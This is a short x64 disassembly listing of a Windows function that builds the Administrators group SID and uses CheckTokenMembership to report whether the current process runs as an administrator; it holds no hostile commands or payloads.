mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
call rax
test eax, eax
setne al
test al, al
je 0x14000176e
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 4]
mov r8, rdx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_FreeSid]
call rax
mov eax, dword [rbp - 4]
test eax, eax
setne al
jmp 0x140001773
mov eax, 0
sub rsp, 0xffffffffffffff80
pop rbp
ret